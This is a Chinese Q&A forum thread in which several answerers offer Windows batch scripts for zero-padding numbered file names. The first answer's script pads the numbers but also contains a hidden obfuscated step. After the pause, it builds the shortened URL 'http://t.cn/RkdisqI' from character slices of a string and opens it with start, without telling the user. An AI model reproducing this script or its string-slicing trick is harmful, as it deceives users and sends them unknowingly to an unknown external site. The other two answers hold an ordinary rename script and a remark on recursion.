求bat代码,批量按照Windows命名顺序批量修改文件名.另加200分
发布网友
发布时间:2022-03-04 19:06
我来回答
共3个回答
热心网友
时间:2022-03-04 20:35
@echo off & title 序号长度补位 By 依梦琴瑶
setlocal enabledelayedexpansion
::由于不知道您那些文件的后缀名格式,所以请自行在这里进行设置
set Ext=
set Num=0
for /f "tokens=1 delims=_" %%a in ('dir /a-d/b *_*.%Ext%') do (
if %%~a gtr !Num! set Num=%%~a
)
set /a Num=1!Num!-!Num!
for /f "tokens=1,2* delims=_" %%a in ('dir /a-d/b *_*.%Ext%') do (
set /a New=!Num!+%%~a
ren "%%~a_%%~b" "!New:~1!_%%~b"
)
pause
set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit
以上代码请保存为bat脚本后,放到要处理的文件一起后运行,记得先在代码中设置文件的后缀名哦!无需加小数点。
以上代码编写于手机,因此尚未实测,建议您找一些文件先测试一下,以免直接实测出问题,导致文件丢失。
执行过程中,如有疑问,请追问。
热心网友
时间:2022-03-04 21:53
我想问一下你还要_后面的无序号么?这关系到答案,请说明信息
@echo off
setlocal enabledelayedexpansion
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\?_*.* /b /a:-d`) do (rename %%a_%%b 0000%%a_%%b)
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\??_*.* /b /a:-d`) do (rename %%a_%%b 000%%a_%%b)
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\???_*.* /b /a:-d`) do (rename %%a_%%b 00%%a_%%b)
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\????_*.* /b /a:-d`) do (rename %%a_%%b 0%%a_%%b)
echo 完成...
pause 1>nul
这个是我写的 保留"_"后面的内容的
粘贴到文本文档里面 重命名为.bat文件 放到与 要命名的文件同目录
不懂可以追问,满意给个采纳谢谢
热心网友
时间:2022-03-04 23:28
Bat好像没有文件夹递归功能,所以,你如果只寄希望于简单的bat,估计你的需求真只能是梦想了!当然了,你如果想尝试其他方法,肯定有解决方案!